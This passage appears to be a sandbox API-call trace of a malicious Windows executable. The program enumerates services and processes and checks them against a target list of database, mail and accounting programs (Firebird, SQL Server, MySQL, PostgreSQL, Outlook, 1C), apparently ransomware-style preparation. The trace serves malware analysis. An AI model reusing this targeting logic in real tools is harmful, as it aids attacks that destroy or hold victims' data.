[0152.545] lstrlenW (lpString="NlaSvc") returned 6 [0152.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.545] lstrlenW (lpString="nsi") returned 3 [0152.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.545] lstrlenW (lpString="PcaSvc") returned 6 [0152.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.545] lstrlenW (lpString="PlugPlay") returned 8 [0152.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.546] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0152.546] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.546] lstrlenW (lpString="Power") returned 5 [0152.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.546] lstrlenW (lpString="ProfSvc") returned 7 [0152.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.546] lstrlenW (lpString="RpcSs") returned 5 [0152.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.546] lstrlenW (lpString="SamSs") returned 5 [0152.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.547] lstrlenW (lpString="Schedule") returned 8 [0152.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.547] lstrlenW (lpString="SENS") returned 4 [0152.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.547] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.547] lstrlenW (lpString="Spooler") returned 7 [0152.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.548] lstrlenW (lpString="SysMain") returned 7 [0152.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0152.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0152.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0152.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0152.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0152.548] lstrlenW (lpString="Themes") returned 6 [0152.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0152.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0152.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0152.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0152.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0152.548] lstrlenW (lpString="TrkWks") returned 6 [0152.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0152.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0152.548] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0152.548] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0152.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0152.548] lstrlenW (lpString="UxSms") returned 5 [0152.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0152.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0152.548] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0152.548] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0152.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0152.548] lstrlenW (lpString="Winmgmt") returned 7 [0152.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0152.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0152.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0152.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0152.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0152.549] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0152.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0152.551] Process32FirstW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.551] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.551] lstrlenW (lpString="System") returned 6 [0152.551] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0152.551] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0152.551] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0152.551] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0152.551] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0152.551] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0152.551] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0152.551] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.552] lstrlenW (lpString="smss.exe") returned 8 [0152.552] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0152.552] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.552] lstrlenW (lpString="csrss.exe") returned 9 [0152.552] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.552] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.552] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0152.553] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.553] lstrlenW (lpString="wininit.exe") returned 11 [0152.553] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0152.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0152.553] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0152.553] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0152.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0152.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0152.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0152.553] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.553] lstrlenW (lpString="csrss.exe") returned 9 [0152.553] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.553] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.553] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.554] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0152.554] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.554] lstrlenW (lpString="winlogon.exe") returned 12 [0152.554] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0152.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0152.554] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0152.554] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0152.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0152.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0152.554] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0152.554] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.554] lstrlenW (lpString="services.exe") returned 12 [0152.554] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0152.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0152.555] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0152.555] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0152.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0152.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0152.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0152.555] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.555] lstrlenW (lpString="lsass.exe") returned 9 [0152.555] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0152.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0152.555] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0152.555] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0152.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0152.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0152.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0152.555] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0152.556] lstrlenW (lpString="lsm.exe") returned 7 [0152.556] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0152.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0152.556] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0152.556] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0152.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0152.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0152.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0152.556] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.556] lstrlenW (lpString="svchost.exe") returned 11 [0152.556] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0152.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0152.556] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0152.556] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0152.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0152.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0152.556] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.557] lstrlenW (lpString="svchost.exe") returned 11 [0152.557] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.557] lstrlenW (lpString="svchost.exe") returned 11 [0152.557] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.557] lstrlenW (lpString="svchost.exe") returned 11 [0152.557] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.558] lstrlenW (lpString="svchost.exe") returned 11 [0152.558] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.558] lstrlenW (lpString="audiodg.exe") returned 11 [0152.558] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.558] lstrlenW (lpString="svchost.exe") returned 11 [0152.558] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.559] lstrlenW (lpString="explorer.exe") returned 12 [0152.559] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.559] lstrlenW (lpString="dwm.exe") returned 7 [0152.559] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.559] lstrlenW (lpString="svchost.exe") returned 11 [0152.559] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0152.560] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0152.560] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0152.560] lstrlenW (lpString="spoolsv.exe") returned 11 [0152.560] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0152.560] lstrlenW (lpString="reader_sl.exe") returned 13 [0152.560] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.561] lstrlenW (lpString="svchost.exe") returned 11 [0152.561] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0152.561] lstrlenW (lpString="taskhost.exe") returned 12 [0152.561] Process32NextW (in: hSnapshot=0x314, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0152.561] CloseHandle (hObject=0x314) returned 1 [0152.561] Sleep (dwMilliseconds=0x1f4) [0153.330] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0153.347] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0153.347] GetLastError () returned 0xea [0153.347] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x428bbd0 [0153.347] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0153.347] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0153.348] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0153.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.348] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0153.348] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0153.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0153.348] lstrlenW (lpString="AudioSrv") returned 8 [0153.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0153.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0153.348] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0153.348] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0153.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0153.348] lstrlenW (lpString="BFE") returned 3 [0153.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0153.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0153.348] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0153.348] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0153.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0153.348] lstrlenW (lpString="CryptSvc") returned 8 [0153.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0153.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0153.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0153.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0153.348] lstrcmpiW 